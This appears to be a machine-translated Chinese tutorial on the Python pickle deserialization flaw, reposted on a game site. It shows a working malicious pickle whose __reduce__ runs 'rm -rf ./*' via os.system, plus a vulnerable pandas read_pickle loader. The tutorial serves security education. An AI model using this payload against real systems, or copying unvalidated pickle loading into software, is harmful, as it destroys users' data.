解读Python的漏洞 第一部分:Pickle模块

解读Python的漏洞 第一部分:Pickle模块

首页休闲益智泡菜特工Agent Pickle更新时间:2024-05-07

我们以Python中的pickle模块为开端。这个演示假定你已经知道pickle模块如何工作。我在Ubuntu和Windows上运行它。

假设你有一根魔法棒,可以把一堆玩具变成一个小包裹,可以很容易地存放在玩具箱里或送到某个地方。当你分心的时候,一个坏人偷偷地放进了一个讨厌的玩具,所以当你再次使用你的魔法棒把包裹变回玩具的时候,那个讨厌的玩具也出现了,被激活并做了一些邪恶的事情,比如打破你所有的其他玩具,甚至烧毁你的房子。泡菜漏洞的故事也有点类似

场景。出于某种原因,你有一个用python编写的网络应用,接受并读取一个腌制文件。你的应用程序只是接受了该文件,而没有验证它。

攻击者发现了这一点,并编写了这个简单的python代码,创建一个恶意文件,然后将文件上传到你的网站。

pickle_attack.py

import pickle import os class MaliciousClass: def __reduce__(self): cmd = 'rm -rf ./*' return (os.system, (cmd,)) malicious_object = MaliciousClass() with open('bad_file.pkl', 'wb') as f: pickle.dump(malicious_object, f)

为了测试,我创建了一个名为testfolder的文件夹,并将pickle_attack.py保存在里面。我还创建了另一个文件 vulnerable.py 来模拟服务器接受腌制文件的情况。

脆弱的.py

import pandas as pd df = pd.read_pickle('bad_file.pkl')

然后我创建了3个随机文本文件,所以现在我的测试文件夹看起来像这样。

pickle_attack 中的恶意代码是在 __reduce__() 方法中。当一个 Python 对象被解冻时,__reduce__() 方法被调用以确定如何从序列化的数据中重新创建该对象。该方法应该返回一个元组,其中包含将用于重新创建对象的可调用程序,以及应该传递给可调用程序的任何参数。

在MaliciousClass对象的情况下,__reduce__()方法返回一个元组,其中包含作为可调用的os.system()函数,以及一个包含要执行的命令的字符串参数rm -rf ./*。当使用 read_pickle() 解除该对象时,os.system() 函数会带着所提供的参数被执行,从而导致命令 rm -rf ./* 的任意执行。

rm -rf ./*是一个在unix系统上工作的命令,可以递归地删除当前文件夹中的所有文件和子文件夹。它在做这件事时不需要征求用户的许可/提示用户确认,所以非常危险。

阶梯

我首先运行 pickle-attack.py 来创建腌制文件。然后我运行脆弱的.py脚本,这相当于攻击者将腌制的文件上传到你的网站。

这将导致testfolder中的所有文件被删除,这就是在你的生产服务器中会发生的情况

我是说...

总结

Pickle是一个非常强大和有用的模块,它允许开发人员轻松地对对象进行序列化和反序列化。在使用它的时候应该小心谨慎,以避免成为坏人的受害者。考虑其他安全的替代方法也很好,以确保你的应用程序是安全可靠的。

这是一个简化的例子,一个严重的攻击将使代码穿过你的服务器中的所有文件夹,删除一切可以删除的东西。

查看全文
大家还看了
也许喜欢
更多游戏

Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved